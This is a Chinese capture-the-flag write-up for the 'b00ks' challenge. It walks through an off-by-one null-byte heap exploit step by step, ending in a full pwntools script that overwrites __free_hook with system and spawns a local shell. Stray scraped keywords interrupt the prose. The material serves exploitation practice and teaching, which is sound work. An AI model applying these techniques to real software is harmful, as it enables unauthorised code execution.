有一个读入函数,程序的全部输入都靠它读取,这个程序有个很明显的off_by_one漏洞,在输入时多输入一个0字符。shell
程序开始运行时首先要求输入authorname,而这个输入保存在bss段0x0000559C506F3040处函数
程序有建立函数能够分别给book_name与book_descrption建立堆保存内容,并还会建立一个book的堆来保存name和descrption的指针。
debug
book的指针保存在bss段0x0000559C506F3060处,距离authorname的保存位置有0x20个字节。
指针
攻击步骤:
一、首先authorname输入0x20个字节,让多的一个0覆盖0x0000559C506F3060的最低位,也就是第一个book指针的最低位。
二、而后建立一个book1,book1的指针会把最低位的0覆盖掉,同时authorname与book1指针直接连在一块儿,没有\x00相隔,因此咱们打印处authorname的时候就可泄露出book1的地址。(这里要把descrption堆的地址调成book1地址末位被0覆盖的地址,好比说book1地址为0x00007812,那descrption的地址要布置成0x00007810)
三、建立一个book2,同时咱们伪造一个book结构,经过编辑函数把这个book结构写入book1的descrption中,注意伪造的book要算好book1与book2之间的偏移,让伪造book的name和decrption指向book2的name和decrption。
四、修改authorname输入0x20个字节,让多一个0覆盖掉book1指针的最低位,至关于此时book1的指针指向book1的descrption。
五、这样咱们经过打印book1的name和descrption便可泄露出book2的name与descrpiton地址。
六、libc与book1descrption之间为固定偏移,由此咱们能够得到libc基址、system函数地址、free_hook地址。
七、编辑book1的descrption,让book2的descrption指向free_hook,编辑book2的descrption,让free_hook的值为system函数地址。
八、建立一个堆写入"/bin/sh\x00",释放这个堆,运行system(“/bin/sh/x00")便可getshell。code
我一开始用one_gadget没有打通,本机对全部one_gadget的限制条件都不知足,因此后来换成system的方式来getshell。blog
from pwn import * context.log_level="info" #context.log_level='debug' binary=ELF("b00ks") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") io=process("./b00ks") def createbook(name_size,name,des_size,des): io.readuntil("> ") io.sendline("1") io.readuntil(": ") io.sendline(str(name_size)) io.readuntil(": ") io.sendline(name) io.readuntil(": ") io.sendline(str(des_size)) io.readuntil(": ") io.sendline(des) def printbook(id): io.readuntil("> ") io.sendline("4") io.readuntil(": ") for i in range(id): book_id=int(io.readline()[:-1]) io.readuntil(": ") book_name=io.readline()[:-1] io.readuntil(": ") book_des=io.readline()[:-1] io.readuntil(": ") book_author=io.readline()[:-1] return book_id,book_name,book_des,book_author def createname(name): io.readuntil("name: ") io.sendline(name) def changename(name): io.readuntil("> ") io.sendline("5") io.readuntil(": ") io.sendline(name) def editbook(book_id,new_des): io.readuntil("> ") io.sendline("3") io.readuntil(": ") io.writeline(str(book_id)) io.readuntil(": ") io.sendline(new_des) def deletebook(book_id): io.readuntil("> ") io.sendline("2") io.readuntil(": ") io.sendline(str(book_id)) createname("A"*32) createbook(128,"a",32,"a") createbook(0x21000,"aaaa",0x21000,"bbbb") #gdb.attach(io) book_id_1,book_name,book_des,book_author=printbook(1) book1_addr=u64(book_author[32:32+6].ljust(8,'\x00')) log.success("book1_address:"+hex(book1_addr)) payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff) editbook(book_id_1,payload) changename("A"*32) #gdb.attach(io) book_id_1,book_name,book_des,book_author=printbook(1) book2_name_addr=u64(book_name.ljust(8,"\x00")) book2_des_addr=u64(book_des.ljust(8,"\x00")) log.success("book2 name addr:"+hex(book2_name_addr)) log.success("book2 des addr:"+hex(book2_des_addr)) libc_base=book2_des_addr + 0x43ff0 log.success("libc base:"+hex(libc_base)) free_hook=libc_base+libc.symbols["__free_hook"] system_addr = libc_base + libc.symbols['system'] one_gadget=libc_base + 0xe666b log.success("free_hook:"+hex(free_hook)) log.success("one_gadget:"+hex(one_gadget)) log.success('system:'+hex(system_addr)) editbook(1,p64(free_hook)*2) editbook(2,p64(system_addr)) createbook(8,'/bin/sh\x00',8,'/bin/sh\x00') #gdb.attach(io) deletebook(3) io.interactive()